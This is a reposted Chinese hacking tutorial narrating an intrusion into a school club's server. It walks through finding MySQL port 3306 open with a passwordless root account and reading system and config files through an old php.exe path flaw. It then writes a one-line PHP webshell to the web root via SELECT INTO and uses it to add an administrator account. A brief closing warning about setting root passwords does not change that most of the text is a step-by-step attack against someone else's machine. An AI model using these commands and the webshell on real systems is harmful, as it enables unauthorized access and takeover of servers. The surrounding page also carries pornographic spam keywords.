国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > MySQL > 正文

看緊你的3306端口,一次通過mysql的入侵

2024-07-24 12:57:30
字體:
來源:轉載
供稿:網友

用superscan掃了一下
某個c類的網段,尋找開放80端口的機器,結果就只有一臺機器
開放了80端口,試著連了一下,是我們學校某個社團的的主頁。
從端口的banner來看應該是apache(win32),證實一下
telnet 211.87.xxx.xxx
get(回車)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /index
.html not supported.<P>
Invalid method in request get<P>
<HR>
<ADDRESS>Apache/1.3.2
2 Server at www.xxxxxx.com Port 80</ADDRESS>
</BODY></HTML> 
 

 

遺失對主機的連接。
C:/>
呵呵,這下看得更清楚了

 

據我猜測,應該是"apache+MySQL+php"的黃金組合吧
習慣性的mysql -h 211.87.xxx.xxx
果然連上了
Welcome to the MySQL monitor. Commands end with or /g.
Your MySQL connection id is 17 to server version: 3.23.53-max-nt


Type help; or /h for help. Type /c to clear the buffer.


mysql>


斷開試著
mysql -h 211.87.xxx.xxx -u root -p
passWord:
Welcome to the MySQL monitor. Commands end with or /g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or /h for help. Type /c to clear the buffer.


mysql>
呵呵,大家看到了他的root用戶沒有密碼,這是我今天要說的第一個主題。
這是相當的危險的,碰見這種情況,有99.999%的可能可以進入
既然使用的apache+php,只要找到他在本地存放的web的物理路徑就為所欲為了
呵呵
下一個問題是我今天要說的重點怎么樣才能知道那臺主機的存放的web的物理路徑?
方法有很多種,在這里我介紹2種方法供初學者參考
首先要告訴大家的是低版本的apache+php有一個漏洞
提http://xxx.xxxx.xxx.xxx/php/php.exe?對方的物理文件名
就可以把那個物理文件下載下來。


于是提http://211.87.xxx.xxx/php/php.exe?c:/a.txt
返回
No input file specified. (沒有這個漏洞的話提示找不到網頁)
好的,這說明他有這個漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:/boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)/WINDOWS [Operating


systems] multi(0)disk(0)rdisk(0)partition(1)/WINDOWS="Microsoft Windows xp PRofessional"


/fastdetect
呵呵,裝的還是xp。
好了,我們可以猜測對方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:/apache/conf/httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?d:/apache/conf/httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?e:/apache/conf/httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?c:/Program Files/apache/conf/httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?f:/apache/conf/httpd.conf
猜到了,返回了好多東西
找到我們想要的
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "D:/homepage"
看得出來對方的主目錄是D:/homepage
下面的事就好辦了,現在就想得到shell?
先別急,我們先來看看另一種方法
那就是利用mysql的錯誤
隨便的瀏覽一下他的網頁找到一處利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


長得太帥了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
Warning: Supplied argument is not a valid MySQL result resource in


d:/homepage/skonline/study/list.php on line 231
呵呵,一覽無余。
然后,然后就是制造我們的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or /g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or /h for help. Type /c to clear the buffer.


mysql> use test;
Database changed
mysql> create table t(cmd text);
Query OK, 0 rows affected (0.08 sec)


mysql> insert into t values(<?system($c);?>);
Query OK, 1 row affected (12.52 sec)


mysql> select * from t into d://homepage//test.php;


我的shell很簡單<?system($c);?>,不到20個字符,但他已經足夠了
可以讓我執行任意命令,由此足以看出php的強大。


怎么用?
提交
http://211.87.xxx.xxx/test.php?c=net ;user kid /add
命令成功完成
http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add
命令成功完成


呵呵,測試成功,通過!
剩下的就是你自由發揮了。


由此我們不難總結出這一類的入侵步驟:
1,找到沒有密碼的3306端口
2,找到對方的web物理路徑
3,制造shell
4,后續工作


呵呵,在這里提醒大家,如果你想要或正在用mysql的時候
千萬要給自己的root設上一個強有力的密碼。
看緊你的3306,呵呵。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 沂水县| 共和县| 四会市| 丰台区| 金乡县| 梁平县| 文水县| 广宁县| 黄大仙区| 玉田县| 五常市| 永泰县| 莱西市| 韩城市| 波密县| 台湾省| 巴林左旗| 甘谷县| 松滋市| 成都市| 宿松县| 加查县| 茌平县| 贺兰县| 南康市| 台前县| 晋城| 凤台县| 拉萨市| 米泉市| 汽车| 尼勒克县| 额敏县| 金堂县| 北京市| 多伦县| 绥滨县| 长寿区| 清远市| 仁寿县| 观塘区|